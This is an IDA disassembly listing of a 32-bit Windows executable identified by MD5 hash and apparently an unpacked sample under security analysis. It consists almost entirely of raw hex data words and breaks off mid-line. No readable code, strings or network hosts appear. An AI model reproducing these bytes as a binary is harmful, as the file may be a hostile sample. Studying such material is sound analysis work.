; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 9BF3E335DCC4CD49BCE66C7D5844BE4C ; File Name : u:\work\9bf3e335dcc4cd49bce66c7d5844be4c_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00213000 (2174976.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000200 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 84C00h dup(?) _data ends ; Section 2. (virtual address 00214000) ; Virtual size : 0000426D ( 17005.) ; Section size in file : 0000426D ( 17005.) ; Offset to raw data for section: 00000200 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume cs:_pdata ;org 614000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 8000005Eh, 222B0000h, 444082CAh, 0B7312A48h, 0AD385461h dd 3D0DB64Eh, 7046FB5Bh, 2C53E0D5h, 7E069404h, 0CC693E53h dd 0CFD0FBF1h, 0A24AECC5h, 2C386F32h, 492B5024h, 53729DBCh dd 576FD3CFh, 0BFAF1317h, 0B05F3DE7h, 0B0C17837h, 0FC3337h dd 93A71977h, 0F669F713h, 0F05E490Ah, 0CA38210Bh, 0F544CD03h dd 27AF1462h, 62353DF9h, 0CACAEA27h, 0DDF87A2Ah, 4A487D78h dd 963DFD6Ah, 5D7FB30Bh, 8DEF8F71h, 9E5CB4DEh, 0B7B89A2Dh dd 14441EF0h, 99464151h, 0C8FA32D1h, 3831322Eh, 0B68C0629h dd 5B92A42Fh, 72B1296Eh, 0BE236B8Eh, 62800B5Ah, 0F2F02D3Ch dd 0A1665F99h, 0E08B600Ch, 3E432F03h, 0BA8F92B9h, 0F0E458F4h dd 0FBF3D876h, 0F9A3F81Eh, 14CCD767h, 0DC756B4Bh, 33711243h dd 0A3C4CB58h, 0C6129000h, 677BC459h, 453609D5h, 0E3C2E141h dd 51A8D472h, 38E0C6CDh, 22960BD3h, 0B0AA9BF5h, 2A28ED0Ah dd 0F4327DE7h, 3062D6DCh, 269F838Ah, 5E2FFF03h, 71910615h dd 3E1F2BF6h, 21D7E6Eh, 159BFFE2h, 3E980F4Bh, 384045ACh dd 36AB3F06h, 0E2AD64BCh, 3C55113Dh, 9A5A3D17h, 0E4CD9F3Bh dd 45D9E789h, 3C84D785h, 360B328Bh, 4FC0C668h, 14769DD6h dd 0F17A6EDh, 19BD9AC9h, 158BF60Eh, 988E030h, 2C466A44h dd 85B34717h, 0A16538E7h, 0E3FB3AFCh, 4988DD27h, 2073BD27h dd 6A119DADh, 7E257E6Ch, 7E8F839Bh, 0F67075C8h, 0D6F400C0h dd 0B5911468h, 0B31FD6C8h, 0E411249Fh, 0EB9F441Bh, 675FC11Fh dd 8F507204h, 81EB7A8Bh, 96069A8Dh, 48B7B973h, 0D16D8BE8h dd 20733FBBh, 0B1993ED5h, 0EF85DE3Dh, 46E640E9h, 3AB3032h dd 0FF2B1F43h, 1A7E8C3Ch, 165390DEh, 0BCD10D7Fh, 0D9181A9Dh dd 0A575733Ch, 0C18FB0DDh, 127FBBA4h, 50BE5FD7h, 85962E6Ch dd 13F63A4Ch, 53371151h, 55D2799Bh, 101C77C8h, 0E4A60BF5h dd 0ABF212F1h, 20F4869Bh, 0B5DAF059h, 4D848969h, 0A3486BAh dd 0D1AC8FABh, 34C965B0h, 7309239Ah, 488170A6h, 0C82712A6h dd 484D521Eh, 6A928250h, 0FCE458F7h, 0AA5DE7D4h, 0F0DB7A35h dd 0CA4DC29Bh, 0C1C257CAh, 94400A2Fh, 526219E0h, 75A8BD5h dd 4FCD4F29h, 0B1A00AFFh, 70A713h, 0D0E1E475h, 657FFA0Ch dd 0BF081A8Eh, 0B4246D9Fh, 5DEE78EDh, 0E48EEFC0h, 74E3B2A2h dd 27EEB251h, 95CA3329h, 53EE52DAh, 0FCB09518h, 706364CDh dd 6222C8EEh, 762E371Bh, 6EAE70F8h, 6ED83891h, 7384F738h dd 0DF264DFFh, 67198F57h, 0B805FBC5h, 0A707D334h, 0AF3ACDE5h dd 10A6A0E2h, 0AFE573B5h, 983E1E59h, 14A985C7h, 643AE155h dd 0D841F20Ch, 6CE1EE91h, 17878FC9h, 0CBE221D9h, 8BC0B022h dd 5F274BF6h, 1A44BC3h, 35CA335Dh, 0AEEF7DC2h, 0FF50904Fh dd 80630356h, 13AB9AE2h, 0E575E540h, 0C52CD4A8h, 66264DD7h dd 0FC158924h, 0E3A63B03h, 5CC76A79h, 0DE1BE4F2h, 73AE9E90h dd 0B6BFB968h, 9D24837Ah, 0D59ABD91h, 9A9A1176h, 26339497h dd 7E13CDDAh, 2B4EE884h, 0EBC92D5Fh, 65D3FBC6h, 602C6586h dd 0B6CB21DFh, 0C2ADE575h, 7DA1BA01h, 0F158C0F9h, 0C2ADF814h dd 167D6FBh, 0AD938EA0h, 0CE49E08Ch, 4E3DF33h, 33BB049Bh dd 7444CB35h, 55A6A74Fh, 568B87ACh, 0C2EAE5F5h, 7AEF876Ah dd 0F20611Ch, 7274472Eh, 0B776A9BFh, 3D1F5B51h, 0D0F9BD2Ch dd 0DD3A61BAh, 6E8233A4h, 0A3977F9h, 0A7277CEFh, 0B1FFA65Dh dd 65C03AE9h, 7957FF5Bh, 0B2AEF3EFh, 4437F094h, 57A7F4AAh dd 656C17F5h, 0BE06A284h, 0F6950B38h, 0B2A3B0A9h, 65A9179Eh dd 76EC3431h, 16E003F1h, 8A6E1CC8h, 0EB63A37Eh, 0F4FFA8EEh dd 9425BECDh, 1A994758h, 0B226614Bh, 6376315Ah, 0F770F02Eh dd 56D1E337h, 0AE6E1C3Ch, 3486B26Bh, 0DD6D7785h, 49CDBE09h dd 54A7C1A9h, 0B41534F6h, 0F001009Ch, 0FDE4045Eh, 0C3BA1C23h dd 1EABE07h, 8579409h, 52625839h, 67F234CEh, 0EB6D8392h dd 9836B082h, 669836C5h, 0C0551F78h, 85A3ACD6h, 74C5792Eh dd 3972795Ah, 636042AAh, 9A74FC54h, 9C55239Bh, 21D2143h dd 0DF76492Eh, 58EBD7BBh, 0CB7886D8h, 56674D46h, 5574697Ch dd 0A55E295Dh, 33358EF2h, 34060D19h, 99DDC48Bh, 56F547ADh dd 97189414h, 2089596Fh, 5DEAE4DAh, 0CCCB7BC0h, 9E91C9E4h dd 7D4BF211h, 2095F1A7h, 83517620h, 0D4D2873Bh, 0EA438EC5h dd 6EFC4357h, 0EDF74613h, 8F0D5190h, 1D51D589h, 34384019h dd 0FFAAE692h, 8CDC0796h, 29061AB5h, 0D30F8250h, 8F4B42Bh dd 3BC23202h, 9BC4DFA3h, 9F3AA451h, 254C79B8h, 0C00AF6CAh dd 0EA9CD8CFh, 0DB6E3C20h, 1666C74Dh, 799DC62Dh, 0F21F716Fh dd 8B49C6A5h, 8E92B38Bh, 76A2F337h, 7E171F6h, 8E174394h dd 9327F394h, 96347FACh, 24183EBBh, 539FB08Eh, 54854FE8h dd 0DDF0006Ch, 0CF4C8BCDh, 328E0AF7h, 0CB1ABF40h, 7246B0A4h dd 0BB99E420h, 0C6B39AE3h, 89C4FBBCh, 0ACFA9793h, 347E5CC7h dd 2E8F98DEh, 0FF9E96EAh, 0C50EEA9h, 0B99DAD0Bh, 2F0CA8E9h dd 3C6B6AA3h, 0A33E9F61h, 0CCBBEF57h, 4A5CBA3Eh, 0AA8B64Fh dd 5D88A095h, 8E46496Ah, 0E0EAC28Ah, 50A1FADEh, 0AAC873B5h dd 0A53D4F59h, 7E0D93FFh, 0BF417BE7h, 0FDE4EBB0h, 96EFA29Dh dd 0E8308BFBh, 347C1AFBh, 0EEFB4103h, 61C908D9h, 0CB41CC56h dd 0D4A56E66h, 0CFDD8B03h, 0F7A93AB3h, 0A45832BFh, 10ADE963h dd 66BDAA83h, 0E398DD80h, 21B2C2F3h, 0ECB6F219h, 8FD8C038h dd 17E9CB44h, 1C024972h, 365B41D7h, 13FBECC9h, 0E08D0EDEh dd 1E3DFD5Eh, 7E6BEAE4h, 3AD0C730h, 9CF5E088h, 4069F3FCh dd 76CEB706h, 0FFAE86D2h, 7E820C2Ch, 9B308A19h, 0FA6A662Dh dd 0CC0F9013h, 16ED48B2h, 83637B0Fh, 8654B3C4h, 99B44CCCh dd 0E4406C55h, 0E72F496Ch, 4CF5734Eh, 3BECBEFDh, 16A257F9h dd 82D36119h, 0B6E77043h, 0D334E5B4h, 851C8C6Dh, 61268FBCh dd 47E3EE88h, 362F6BB3h, 0C6B6B21Ch, 0C15BC808h, 994368h dd 70FB6049h, 0C1A7BCC4h, 296BED40h, 13323748h, 0ECBBAD3Ah dd 8AA80171h, 0C6DCA49h, 46E1EAC0h, 211B56D3h, 0C09C0E44h dd 0C8183D07h, 0FFCCFD4Eh, 0B226A498h, 0F29A2B63h, 85F52B51h dd 5A43C2E6h, 7B139CB5h, 0CD2E2B7Fh, 46A240FBh, 0ADE378DEh dd 2D83790Eh, 26EFAD9Ah, 0A1F2DBC5h, 33E1E755h, 0A7544BDCh dd 6A2AAC54h, 0A2B684BAh, 0B689EE57h, 93C7A190h, 0B6E50297h dd 6A8FCD21h, 9B4DBD89h, 6FD37279h, 6064233h, 26DE313Bh dd 0A84D2132h, 0E4164A3Fh, 583D6F39h, 651EC48Ah, 584DADF5h dd 97A82CF4h, 94807CEEh, 0E36CE115h, 0BB013D42h, 0FCE99E5Ah dd 236703EDh, 0C5BA331Fh, 0DC2208E6h, 9507D93Bh, 3E006EC9h dd 6FC260DEh, 0B2312C1Eh, 0FAE0AC5Dh, 72D5F5E4h, 0BA06327h dd 8977F669h, 85A756F9h, 0C2640349h, 9AA5C093h, 0E98AA041h dd 9BEF8C87h, 549F76C2h, 88DB5F6Ah, 903B5DD7h, 0F0C2041Eh dd 0F6366622h, 0A644C55Eh, 5D6E01A7h, 9D8880B3h, 63453810h dd 0F1459D5Eh, 0E2A25DF6h, 15118913h, 7599F1B8h, 0F43D1D57h dd 0C63886E3h, 0CA202754h, 67A458AAh, 0CCE77967h, 0EE318940h dd 0DAFBDC66h, 629284EBh, 0AC117D9h, 71C435DAh, 0D721A9C6h dd 0C47FFA45h, 3FC3A15h, 40E31135h, 3C91D646h, 0EB7A2D13h dd 0BB6B6CDCh, 0BFFE26BDh, 0DEC3E149h, 0A2F5C6D8h, 9FCDC4FEh dd 87B029B8h, 6EBA34EFh, 0A4010C66h, 913CE596h, 0C5AFFF6Ah dd 202EAD2Ah, 849D30CEh dd 3DDECEB4h, 0B0B0DB6Ah, 0EF2DD969h, 0A90F2BC1h, 0A8046EA6h dd 605B73EEh, 46723092h, 67684ED2h, 15FA1F8Ch, 8617EB3h dd 7EA505F0h, 29308C98h, 9017F26h, 0D91F48BDh, 0CE1BDAC7h dd 0D68B314Eh, 0F3CA186Bh, 0EFDD6E31h, 40008CC5h, 4DD1501Eh dd 5DD0196h, 0F7D39D45h, 4CD5646Ah, 2F516A8Dh, 0A22A8F46h dd 2724D483h, 0E8BB1263h, 344413Fh, 80D3440h, 678FFE36h dd 12BE1AFDh, 64BA72D1h, 0AA01E330h, 17E841B1h, 3A6C0235h dd 0EF372CC3h, 34487B5Ch, 3C426EB9h, 504AB8F2h, 914E2FD6h dd 72A40A32h, 5096B11Dh, 97A2A3CFh, 41AE616Dh, 0A8AB43A5h dd 0FA9FE568h, 0BF13E29Dh, 2004338Ah, 23CE4C46h, 1543FA53h dd 84A16AF9h, 42EA3C86h, 0E68A1E92h, 0DCD27628h, 154AB4CFh dd 0A1CD9357h, 0D9772D03h, 0CA6B676Ch, 0FA21FCF7h, 0A27FDF7Bh dd 63B46006h, 246EE43Bh, 4AF011CEh, 8F116C62h, 0D6E74495h dd 0C271CD52h, 52D6240Bh, 83461862h, 60C1E94Dh, 7C839706h dd 775C0B3Ch, 0BEC1BAEEh, 0DDB04BC5h, 89B67717h, 5E793373h dd 49AB65D2h, 0BAAD197Ch, 7EE9D604h, 956E7503h, 0F8AA00A5h dd 0C946D148h, 58EED621h, 7C01FFD6h, 0C372B07h, 311D6559h dd 49D7E61Ch, 8CB77EFCh, 9DFCC7AAh, 0CA8F1F76h, 0BB2D8617h dd 3924DB1Ah, 84EAA35h, 906B8C17h, 1729363h, 561B3C7Eh dd 0D3A73998h, 0FD4C8AE1h, 0E463D0B9h, 0A5882BCh, 0C557C71Fh dd 0E3434E79h, 0A7DA6EBCh, 66F294FEh, 45CF5DA8h, 6A47A617h dd 0F31410EBh, 79DFDD7Fh, 76E8843Ah, 0AB69D433h, 0B3B24996h dd 12B81529h, 0FE6FA9EFh, 2AB3AE2Bh, 0E3E28387h, 611D1E40h dd 0A4373E4Bh, 0C148906h, 656A73E3h, 22386B40h, 0A26F4A02h dd 0BACF59F2h, 3A9E6D91h, 0F2302EFAh, 89B4D21Bh, 9D874FEFh dd 500E20D4h, 0D60B5B31h, 41C50CDFh, 0BB82CBFh, 0F02CBF1Eh dd 0C951FF33h, 6C29083Eh, 3AF32A78h, 8C0FE5D4h, 8CDF6584h dd 43741B12h, 5FF91B86h, 0E2FF4842h, 8445124Fh, 3079CCD2h dd 2BB5C855h, 0CC4A53Eh, 8BAD69DDh, 65AABD76h, 0F872EF62h dd 7919C206h, 0ED16F2DDh, 2E8924ADh, 4EC9F5D2h, 0A9FB4BDFh dd 0EFE17AFCh, 0DAFFF4C4h, 9CDE61F6h, 40C19530h, 9B00FEC6h dd 512A8547h, 0E75388F3h, 0BC36E611h, 0AE78358Dh, 3CA43E7Bh dd 0B101EFD6h, 0A9FF92D2h, 1F4713E6h, 0FF1D8E85h, 284031AAh dd 679BB39Ch, 53300BE6h, 8C670520h, 5604760Eh, 93DAFE6Ah dd 7B05CD26h, 0C8281A6Fh, 888E54AFh, 0D87E6986h, 677C1E02h dd 10A3679h, 35C63300h, 303D7E63h, 0E2976C28h, 4C05A266h dd 0E7F22A64h, 542B81Dh, 0AE04E87Dh, 51E8D1C9h, 38B8C73Ah dd 0FB954450h, 0C16E2F44h, 60FD9C20h, 0F86B157Ah, 0C3C25585h dd 0FDC7E341h, 95278E2h, 0B9E0BF3Ch, 0E1FD3C5Dh, 7F4AB5A0h dd 0C7489D4Ch, 0D921B95h, 0B1A1A624h, 0D35E3809h, 0B70CEFA0h dd 0D2C70220h, 903FBF62h, 0DEF08E9Dh, 1228F60h, 8AA045A2h dd 58324830h, 0BFAA55AAh, 2154876Ch, 8650CD2Ah, 537A2BE0h dd 0DDED2E53h, 2968F322h, 27D2322Bh, 76BEE23Dh, 176384D5h dd 0F169C31Ch, 6933A94Ah, 581D690Bh, 0FFB14609h, 4264FF40h dd 0A7558BDDh, 36F5EE76h, 763C76D3h, 0ADDFC922h, 9C5E79BCh dd 2A0069B8h, 0BA564966h, 0CE5E33A4h, 1622E04Eh, 655BA272h dd 5C49CCF1h, 41FAFF86h, 33E37B35h, 3AE52E91h, 0A153C9FBh dd 0CF5D1426h, 0A2C1D410h, 0BFC15B23h, 9995596Ah, 0A0031605h dd 4A1811ACh, 378B6FC2h, 31C64220h, 0D87150FAh, 0AAD35BA4h dd 0DA2301F5h, 969C656h, 8308FE0Fh, 0F6D44BC5h, 5E4728B7h dd 0BD9ED1EFh, 380C7EBFh, 19F13277h, 97133270h, 8DD6867Ah dd 0FF600EEDh, 0BD7F9F43h, 670A7B16h, 83FF85BEh, 7EDA09F7h dd 3B8CF02Dh, 1D7A7103h, 671026B9h, 6149FF94h, 99E8FE0Dh dd 152B4F5Bh, 9DC81FB5h, 903696EEh, 8004EFAh, 9F68A447h dd 0BED4381Ch, 0E9E34CFBh, 0BCFBFDFCh, 5E687D2h, 0D977491h dd 7FBBB942h, 818D09E6h, 1066DD27h, 12388034h, 231B529Dh dd 0A7D6B51Eh, 0B9E9183Ah, 8940BAD4h, 74A57454h, 83F5FEFBh dd 5CE34081h, 49817497h, 9C3C6411h, 0D39981C8h, 35EED442h dd 0A479D904h, 0FBB06FA2h, 59BFAA44h, 0D6D33AB0h, 0BBD1579Ch dd 61994399h, 53FF64C6h, 0C74579FBh, 531DFE95h, 4515CA18h dd 2250143Ch, 0C50DB20Ah, 29DC968Ch, 0E995E68Fh, 52F848F1h dd 6F7B7119h, 0DE08FDC7h, 0D474D3E7h, 0B1585174h, 4FF88573h dd 0A6B46DE6h, 0EE8B1139h, 8FEDBE7Eh, 101E7D9Ah, 3AF3A5AAh dd 31EAFF02h, 690C499Ah, 0ACA2B88Dh, 0CD9B87D5h, 838A223Bh dd 0B6F56F06h, 0B550ABC3h, 0E1361BF7h, 2518FA1h, 1BBC1BCDh dd 15442B97h, 0D915FE32h, 0C45EE190h, 0D5D643F7h, 68FC4D68h dd 0E97A4845h, 9A1E4EEAh, 3C6BEB1Bh, 7B86331Dh, 395FCA0h dd 8F4E5E04h, 0ACE83AE5h, 0CD425C2h, 0D4929F9Fh, 0E37F6EB1h dd 0A4D741A1h, 0A78FF3DEh, 0F7821DF0h, 4F5AFB7h, 8504E1A2h dd 61580A7Eh, 58EB1502h, 351407ABh, 249A6BCAh, 9B6E5A97h dd 59ABDA6Bh, 0C601BDF2h, 1E2E477Ch, 7077DE72h, 226285C3h dd 0E994749Fh, 7439CF88h, 0C5F3A53Dh, 0DBCA1133h, 42FEF708h dd 0F93EC2Dh, 0DDBACBAEh, 0D4766B50h, 5FDFA418h, 0B720BB43h dd 4103AD50h, 4BE7715h, 4B4DA039h, 19D26501h, 77CE0B43h dd 706D9B29h, 4F2E7F35h, 0DBA75F12h, 8464FACDh, 66E3D2B1h dd 0BFC9EBF2h, 0CEB8433Ch, 2FF1D111h, 33086B8Eh, 0A3AC8057h dd 9350E82Ch, 494B8645h, 25DED3E2h, 0EE455700h, 10BAC624h dd 5F239F8h, 0BE45C99Dh, 40D6E2B1h, 9330F5Ch, 0CABD6AAFh dd 5BC3A5D1h, 0BF65B476h, 0FBF37BCAh, 0FDF43895h, 4160BF4Fh dd 42D90796h, 52160EF3h, 0FC16D57Ch, 81E2DAAh, 496AE09Fh dd 1E3FE508h, 9E102745h, 36E7BA21h, 0C084CC50h, 17A80AF8h dd 3F8CCAA9h, 4C84BA67h, 9AAADD2Dh, 64F0495Ah, 1FD6269Fh dd 66DB8AFAh, 842CFDACh, 0DDF64744h, 9EC7FADDh, 719FFFB3h dd 0B324B4D1h, 1E772608h, 712A250Bh, 2D6D59DBh, 0CB774830h dd 317A89B3h, 0B2FBB532h, 7498C734h, 0CCD987E4h, 0CC5927BFh dd 64A04222h, 9CB974F3h, 27DC12DBh, 0CCBFF486h, 2473D650h dd 5477DB30h, 0CFCA967Ch, 0D283A38Eh, 736B27Ah, 0EC0F2E6Eh dd 0F7BEE133h, 0D03538FBh, 6932DE68h, 1585A146h, 4E6E18B6h dd 2CF43364h, 0A14EB421h, 0A21E2F0Fh, 1B4AA39Fh, 0BD91D3Ah dd 0C20B9080h, 0A97F8B9Dh, 19927C0Bh, 4A6FBC9Bh, 2B4BE6CAh dd 28F2F5F3h, 9DBE75B0h, 326D9AF6h, 54725221h, 0EFC283A2h dd 0D27387A4h, 66A34DE4h, 518C0921h, 0C8B8D573h, 183EBDA0h dd 2F4631BAh, 0D693FAFEh, 588AB74h, 69D6B071h, 51520B2Ch dd 30411982h, 0D02AFED8h, 0E3C8C0C1h, 26AFE4A6h, 6FAE430Ah dd 9D194A93h, 24512D24h, 0FAE730h, 750D16B1h, 95CC56AAh dd 7A70295h, 4B4E05C1h, 4440F068h, 3F66D3BDh, 10E7B263h dd 0A6626901h, 0AA580DD4h, 0E1F1A75Ah, 0B6DA1689h, 5B435A4Ch dd 59C4A533h, 9F74E04Ah, 0FD30660Fh, 0C1BD1E21h, 0B196B101h dd 0E0705BBh, 0F928B67Dh, 5F557428h, 36444FD9h, 0EE50F9F2h dd 0CC98E120h, 0EEE0105Bh, 0FBA8390h, 67587C84h, 0CABA5E90h dd 3BBA829Ch, 3B24767Ch, 9C9C1F29h, 48A3DDFFh, 0BD8F2DB7h dd 0DB08D759h, 1B2DA87Eh, 17AAA219h, 0B8070563h, 0C44F5BAAh dd 8B5163DCh, 3242BE7Bh dd 95F64CB6h, 2BA2C385h, 9249690h, 3CC01485h, 0E9D7A08h dd 35B54EEAh, 1CE454B2h, 859CA99Ch, 0BFB4F2ADh, 45F15EF8h dd 68FDAD06h, 580091ABh, 0CD256615h, 93466201h, 401FA810h dd 0A1AEEA24h, 0EBF0B2D3h, 1BB9A5BAh, 9942F14Dh, 0D37DCCC1h dd 5A64A608h, 0FFB0C791h, 7A4EB4A7h, 20197797h, 69DD15AAh dd 0B85B6E7Ah, 6B7BFE07h, 7FA73E63h, 0B725942Ah, 0EBEAA007h dd 6FC78075h, 0AF801018h, 0F1F5A384h, 0B7996038h, 0F3349F6Ch dd 53AD9564h, 64799146h, 0A2DEE803h, 0C84A0202h, 0D7E14255h dd 0ADBBEECFh, 0C6498D26h, 0C16BDF08h, 0A50F7BC9h, 28630D3Fh dd 3246DA08h, 855FD496h, 92E40D3Fh, 1CC9BEFCh, 0B42D641Ch dd 2369AB5Ch, 818D0C51h, 0CE7C3168h, 0F0E27C22h, 0C6E09CA4h dd 0D25E9936h, 22F8659Bh, 3978F61h, 32797299h, 0B51EE731h dd 3ADC58F6h, 0F3188690h, 1CBA0F87h, 5F9FAEC3h, 9855E401h dd 0B0B3D8A3h, 0A8B2F5A4h, 0F2C9D433h, 4611B945h, 2E8003B2h dd 4061D30Bh, 0B4C2F463h, 0FF010CEDh, 0A9E3205Ah, 24BB9DC7h dd 0A0958DDEh, 0B7AAD09Bh, 0A8B02435h, 7E4B4C4Ch, 69FE2C63h dd 0BE5E567Ah, 1FED1572h, 6065BDDh, 0D1000E19h, 0A0B31D7Dh dd 42EAB339h, 8736E144h, 0A5551CB4h, 5B673628h, 7A601782h dd 6D161198h, 0A394F84Ah, 0CBBCA54Ch, 4EE062F3h, 460A0508h dd 16E3A74Ah, 74C18405h, 0CD41DCFFh, 0AC0C117Ah, 95224474h dd 22323F07h, 2D515995h, 376868CDh, 0B2CF95CEh, 0DDE89CF6h dd 215B09DFh, 0F636F0CAh, 90F20244h, 7D3AB447h, 0D054E2B0h dd 9D745550h, 7ECF7C39h, 0CE67FE60h, 0B88CF23Dh, 5182B81Eh dd 0A60E7F0Bh, 0B03AF0C4h, 92B5BF8Eh, 0CBD775B7h, 0A79BE48Ah dd 850A1477h, 43F0C1FDh, 136A2AA4h, 2F9308Fh, 97C20117h dd 0A75AA154h, 0B8DCC095h, 8CB999BDh, 4B5E1AB9h, 74377A57h dd 0B368675Fh, 92113C11h, 7E4FB04Bh, 72D5A24Ch, 8FA2A89Ah dd 15D4E63Fh, 0A4D5C624h, 0E4207C90h, 43662BFFh, 80167002h dd 9BAE7AB9h, 0DCF98AF9h, 49F1A9A5h, 16B681C0h, 952555B4h dd 20108DD5h, 50DF8EC2h, 4CFEBB77h, 0E09EC534h, 42656F87h dd 46373073h, 0B418CE89h, 392ED732h, 9C000113h, 7C8E19Ch dd 0BA1315B8h, 549C2008h, 3FB34DE5h, 7D9F1D3Eh, 0A3362F70h dd 0B2BE9DA7h, 6BEF8808h, 8A7D785Ch, 5DD29333h, 0E5E10626h dd 5D4E65F6h, 0E4B5DF07h, 1C0656CDh, 8BE15E37h, 45B8B02Ah dd 0D6840C5Fh, 325576D1h, 713DC464h, 367CB03h, 0E24AAD7Bh dd 0B30F4FE9h, 84D6A738h, 2DBD36C8h, 3881881Eh, 61397509h dd 2D58CBB1h, 6E64224Fh, 6DF93141h, 0CE099CB0h, 94A71A81h dd 6024E37Dh, 1C4D2F00h, 6D13B2ABh, 0CD6DF9F2h, 83E795E4h dd 0BC954290h, 85A98CA0h, 0F2E0C64Eh, 0FD2A360Dh, 1C159804h dd 93D959F1h, 17431E70h, 5FC70918h, 6E297903h, 26E9910Eh dd 0C43E1B50h, 0CAE080D9h, 0D4F86D4Ah, 0E4CEC327h, 399AF611h dd 3AD8A82Dh, 3D693C6Ch, 0CD0BAFF0h, 12C2B167h, 948AAAB4h dd 7618D5DAh, 0B7C478A2h, 0AFA434F5h, 0D5748D18h, 0F91D8F45h dd 1813C3E4h, 0DB7A33F3h, 0FA6162E3h, 0B13B5A7h, 4DDA0611h dd 16F1BC6h, 0F5C655D1h, 0C2528806h, 96896AF1h, 0C99E2A59h dd 6E225763h, 87A9EF09h, 0D5BFD0D5h, 0CB2D6609h, 35B639A6h dd 9C25ECA7h, 3F406EFAh, 843F37FEh, 99061D3Bh, 3860646Eh dd 727D97B8h, 925B937Ch, 5248143Fh, 764A3C1Dh, 30644E45h dd 0AAAC08D8h, 0EC8D0C60h, 9688128Eh, 61734869h, 0A8726C32h dd 78903440h, 15D2CE83h, 7C1D8BABh, 0A6B8057Ah, 0BAAB09DCh dd 3C4D24C6h, 2E24EB49h, 6AD4CF0Ah, 1BA5FB91h, 3330054Ch dd 5CF1BB93h, 0E60A0120h, 3385D14Bh, 2DE7EEECh, 3F0678E1h dd 578BFFB8h, 539545BBh, 0B45FEB0Bh, 4A16B2ADh, 0D3D40D8Bh dd 0A36B5F07h, 0F8D75AC9h, 510E67FEh, 9F972295h, 0F0E803DDh dd 0EA3DF509h, 7E0E81E9h, 0F99FC352h, 0AECF2A8h, 0ACAAE478h dd 4E72D4Ch, 44E2ACC7h, 0F14CB7ACh, 0BEDCCF3h, 588F91CCh dd 6949C12h, 0B047B441h, 5413087Dh, 610ACF4Eh, 8530FFAh dd 0B26F402Fh, 4B188338h, 2F42DEBEh, 1C7C69ADh, 0CCA0EFA3h dd 0F5F98D85h, 0FE0CF791h, 485E70CAh, 1F8B4FE9h, 5C946297h dd 0E2FD988h, 6F208181h, 0E6B180F0h, 13997A8Bh, 8DE56B3h dd 3F7AEE0Fh, 4C49E246h, 0BCC337Dh, 5416E758h, 352951BFh dd 4737A208h, 31BE1786h, 0E3ADD911h, 5E9FC46Eh, 3265DE3Ch dd 0F09DF7BAh, 0F58E9C4Ch, 1FD3A588h, 0FCFE33A4h, 8D3ECD7Bh dd 0F290C975h, 61EDEC58h, 7149F2Dh, 0AAD7F038h, 6D043DD8h dd 6FD022Fh, 0A4FB2909h, 1CE6C2D8h, 0DCFBBFB5h, 0D15CB5F1h dd 0C869901Dh, 76EDF131h, 947BF9BDh, 83E86978h, 0A6B04828h dd 9B8A7D57h, 0E37D4C1Ch, 290B9022h, 7D816422h, 0D8EBF9CEh dd 0CF507547h, 0DFF689A5h, 0B9F4B2Ah, 93D15C03h, 7DCE646h dd 8D9EC7C7h, 3CA10310h, 73717F76h, 863CDBE8h, 9A20238Bh dd 0F9C01749h, 0EE2DF50Ch, 0B4D54131h, 804B2500h, 45BF5951h dd 2DB26C21h, 0D3D11CA7h, 8DCD99CAh, 0B120F102h, 0CB7F32Eh dd 0E14094D1h, 771F2C37h, 52BF0C97h, 1D91C33Bh, 7851E8D4h dd 0F92FD7C8h, 0F55C68AAh, 595E66F9h, 0C1A457AEh, 0A514F1A3h dd 2BCFEBA1h, 3290E223h, 9BBD992Fh, 301120DDh, 921DE146h dd 0EF548484h, 97739B50h, 97ACE385h, 0BDF0AA98h, 5F027F46h dd 241ACC93h, 0E9F58B3Eh, 244A451Dh, 4026FBBBh, 0BFA14E0h dd 0A70D65DCh, 20012A6Eh, 40AC8500h, 30A99915h, 58AD63EAh dd 9025C5ACh, 646B5B6Dh, 0BFD9E3ECh, 68D76D31h, 227D4D9Eh dd 5280F3A6h, 472C0BA5h, 0AB46B95Eh, 57FA75C3h, 185C7AA7h dd 902CD09h, 0E4D19B17h, 0CE441445h, 49F579F5h, 0CAF3084Bh dd 6A5743B1h, 7C8C8B77h, 0E2B09EBDh, 97EEA446h, 52DA1823h dd 967C066Ch, 9E798B3Bh, 0AB00D72Dh, 254605A0h, 0DFDF2E19h dd 6061BAD1h, 0E52CAAA8h, 0CBFA97A1h, 2DC0519Eh, 0BB768A67h dd 31D472C1h, 0C6DA2466h, 175FAB0Dh, 0C73E67D2h, 90FDEE07h dd 62C4081Ch, 60A64595h, 0B9A9137Eh, 0C0F27614h, 2A7C975h dd 68536BD5h, 555DF061h, 0B29598EDh, 3E7CA965h, 4A3FF79Dh dd 3A2B4C87h, 0ED271FE4h, 29471593h, 0E16D2640h, 0BA388C9Dh dd 6CF9BE3h, 7AE8D08Ah, 851411D0h, 0F3B196DFh, 8E7673C2h dd 45123FA3h, 3DDB6EA4h, 0C7A6F195h, 2AA3D09Ch, 61F7A205h dd 47B32FFFh, 0AD359A20h, 99D2D130h, 53E23D29h, 0F1D535C3h dd 98BDEB6Ah, 0D78E316h, 44D8689Eh, 0FBB30181h, 4C38F94Ah dd 43563CCAh, 0C7181530h, 0A0A512EAh, 9E6032A8h, 0A4C80C34h dd 0BC21280Ch, 6B71DE7Bh, 0CE98BB04h, 0FA5613EDh, 0CFA90F37h dd 34EDCA46h, 5591A971h, 39941F93h, 78115CD9h, 0C6F7310Ah dd 0CAC4A837h, 